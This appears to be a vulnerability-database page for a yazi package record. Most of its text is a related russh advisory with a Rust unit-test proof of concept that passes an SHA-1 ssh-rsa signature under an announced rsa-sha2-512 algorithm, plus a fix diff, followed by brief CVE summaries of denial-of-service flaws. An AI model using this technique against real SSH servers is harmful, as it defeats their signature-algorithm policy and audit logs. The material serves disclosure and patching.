CGA-M788-3WQJ-JWP5: yazi
CVSS: UnknownUnknown
Published Date unknownLast modified Date unknown
Status not reported
The data service did not report a status for this record. Only the available sections are shown.Vulnerability summary
CGA-M788-3WQJ-JWP5 is a vulnerability in yazi with no CVSS score yet.
CVSS score
Not scored
010
No CVSS score recordedEPSS score
Not scored
0%100%
No EPSS score yetKEVNot listedIn no KEV catalog
RansomwareNone recordedNo known use recorded
Public exploits0No public exploits recorded
Advisory lineage
Upstream 0 · Downstream 0 · Related 1Timeline
No timeline events recorded.
Description
No description has been published for this record.
CVSS metrics
Risk metrics not yet published.
EPSS trend
No EPSS score has been published for this record yet.
Known exploited
Compare KEV catalogsNot in any of the 3 tracked catalogs.
Public exploits
0 foundNo public exploits indexed.
Weaknesses
CWE · root causeNo weakness data has been published for this record.
Affected systems
Chainguard1 product
- yazi< 26.1.4-r2
Wolfi1 product
- yazi< 26.1.4-r2
2 vendors · 2 products
References
0 linksNo references have been published for this record.
Related vulnerabilities
CVE-2026-111062chainguardyazi+2A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
### Details
In `russh/src/server/encrypted.rs`, `server_read_auth_request_pk` (0.63.3, around lines 880-990):
* The requested algorithm name (`pubkey_algo`) is read and only used to decode the key: `PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key)`. The derived `hash_alg` is then dropped (`PublicKeyOrCertificate::PublicKey { ref key, .. }`).
* The signature blob is decoded (`Signature::decode`) and verified with `Verifier::verify(&pubkey, &buf, &sig)`. `ssh-key` picks the hash from **the signature's own algorithm** (`sig.algorithm()`).
* `pubkey_algo` and `sig.algorithm()` are never compared.
So for an RSA key, the request can say `rsa-sha2-512` while the signature is `ssh-rsa`. The signature is valid for SHA-1, verification succeeds, and `Handler::auth_publickey` is called.
**Affected versions: every russh release, from the first (`0.34.0-beta.1`, 2022-03) through 0.63.3 and current `main`.** The behaviour is inherited from `thrussh`, which russh was forked from.
The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.
* **Up to 0.46:** after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (`pubkey.set_algorithm(algo_)`), then verifies.
* **From 0.47/0.48 (move to `ssh-key`):** the signature is decoded with its own algorithm (`sig_workaround::Sig::decode`, later `Signature::decode`) and verified with it.
Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of `server/encrypted.rs` in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and `main` (2026-09-30), and in thrussh 0.33.5.
### PoC
A unit test in the existing test module of `russh/src/server/encrypted.rs`. It uses the module's own helpers (`test_auth_session`, `sign_with_hash_alg`, `PrivateKeyWithHashAlg`) and needs no network or configuration.
1. Check out russh 0.63.3, or `main`.
2. Paste the code below inside `mod tests { ... }` of `russh/src/server/encrypted.rs`.
3. Run `cargo test --lib poc_sha1`.
```rust
// ---- PoC: signature algorithm not checked against the requested one ----
/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
authenticated: bool,
}
impl Handler for AcceptAnyKey {
type Error = Error;
async fn auth_publickey_offered(
&mut self,
_user: &str,
_public_key: &PublicKey,
) -> Result<Auth, Self::Error> {
Ok(Auth::Accept)
}
async fn auth_publickey(
&mut self,
_user: &str,
_public_key: &PublicKey,
) -> Result<Auth, Self::Error> {
self.authenticated = true;
Ok(Auth::Accept)
}
}
/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
user: &str,
private_key: Arc<PrivateKey>,
announced: &str,
hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
let mut packet = Vec::new();
packet.push(msg::USERAUTH_REQUEST);
user.encode(&mut packet).unwrap();
"ssh-connection".encode(&mut packet).unwrap();
"publickey".encode(&mut packet).unwrap();
1u8.encode(&mut packet).unwrap();
announced.encode(&mut packet).unwrap();
private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();
let mut signed = Vec::new();
CryptoVec::new().as_ref().encode(&mut signed).unwrap();
signed.extend_from_slice(&packet);
let signature =
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
signature.encode(&mut packet).unwrap();
packet
}
#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
let private = Arc::new(PrivateKey::from(rsa));
let mut session = test_auth_session();
let mut handler = AcceptAnyKey::default();
// The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
session.process_packet(&mut handler, &packet).await.unwrap();
// RFC 8332 §3: the signature algorithm must be the requested one, so
// this request must be rejected. On russh 0.63.3 it is accepted.
assert!(
!handler.authenticated,
"an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
);
}
```
Result on unmodified 0.63.3:
```
test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512
```
With the fix below, the test passes and the whole library suite still passes: `cargo test --lib` gives 186 passed.
Suggested fix: reject a mismatch through the existing `reject_auth_request(until, ...)` path, so the constant rejection time is kept.
```diff
--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
map_err!(ensure_end(&signature_reader))?;
map_err!(ensure_end(r))?;
+ // RFC 8332 §3: the signature must use the algorithm the
+ // request names.
+ let offered_algorithm = match pk_or_cert {
+ PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+ PublicKeyOrCertificate::Certificate(_) => {
+ <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+ }
+ };
+ if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+ debug!("signature algorithm does not match the requested one");
+ auth_user.clear();
+ reject_auth_request(until, &mut self.write, auth_request).await?;
+ return Ok(());
+ }
+
let is_valid = if accepted_probe_matches && user == auth_user {
true
} else {
```
### Impact
This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's `publickey` authentication.
Who is impacted: applications that use russh as an **SSH server** and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:
* a server that refuses SHA-1 (`ssh-rsa`) signatures, as OpenSSH does by default since 8.8;
* a server that logs which algorithm a client authenticated with.
Such a server can be made to accept a SHA-1 signature, or to record `rsa-sha2-512` for one, by any holder of a valid RSA key.
Not impacted:
* russh clients;
* authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
* Te RSA keys were examined, the case where one key admits several signature algorithms (`ssh-rsa`, `rsa-sha2-256`, `rsa-sha2-512`). We did not test other key types.CVE-2026-111061chainguardyazi+40.35%russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.64.1, the agent server spawns a separate long-lived task for every SSH_AGENT_CONSTRAIN_LIFETIME record in a constrained add-key request. The loop accepts repeated lifetime records, clones the key blob into each task, and does not roll back tasks when later constraint parsing fails. An attacker that can speak the agent protocol locally or through agent forwarding can exhaust memory and tasks until the agent process is starved or terminated, denying SSH agent service. This issue is fixed in version 0.64.1.CVE-2025-4574chainguardcargo-audit+490.56%In crossbeam-channel rust crate, the internal `Channel` type's `Drop` method has a race condition which could, in some circumstances, lead to a double-free that could result in memory corruption.CVE-2025-58160chainguardatuin+1880.34%tracing is a framework for instrumenting Rust programs to collect structured, event-based diagnostic information. Prior to version 0.3.20, tracing-subscriber was vulnerable to ANSI escape sequence injection attacks. Untrusted user input containing ANSI escape sequences could be injected into terminal output when logged, potentially allowing attackers to manipulate terminal title bars, clear screens or modify terminal display, and potentially mislead users through terminal manipulation. tracing-subscriber version 0.3.20 fixes this vulnerability by escaping ANSI control characters when writing events to destinations that may be printed to the terminal. A workaround involves avoiding printing logs to terminal emulators without escaping ANSI control sequences.CVE-2026-73430chainguardyazi+50.60%Russh is a Rust SSH client & server library. Prior to 0.62.4, an unauthenticated SSH client can cause a denial of service by sending SSH_MSG_KEX_ECDH_INIT with a 32-byte all-zero Q_C value. Curve25519Kex::server_dh in russh/src/kex/curve25519.rs accepts the all-zero peer public value and computes an all-zero shared secret, after which compute_exchange_hash calls encode_mpint in russh/src/kex/mod.rs and indexes beyond the end of the input while skipping leading zero bytes. The resulting panic occurs before authentication and terminates the server key-exchange task. This issue is fixed in version 0.62.4.CVE-2026-73489chainguardyazi+40.45%Russh is a Rust SSH client & server library. Prior to 0.62.4, an authenticated SSH client can cause a denial of service by sending a pty-req channel request with more than 130 terminal-mode records. The parser in russh/src/server/encrypted.rs stores terminal modes in a fixed 130-entry [(Pty::TTY_OP_END, 0); 130] array but continues increasing the mode count, then constructs an out-of-bounds slice and panics before the application pty_request handler runs. The panic terminates the server session task without causing memory corruption. This issue is fixed in version 0.62.4.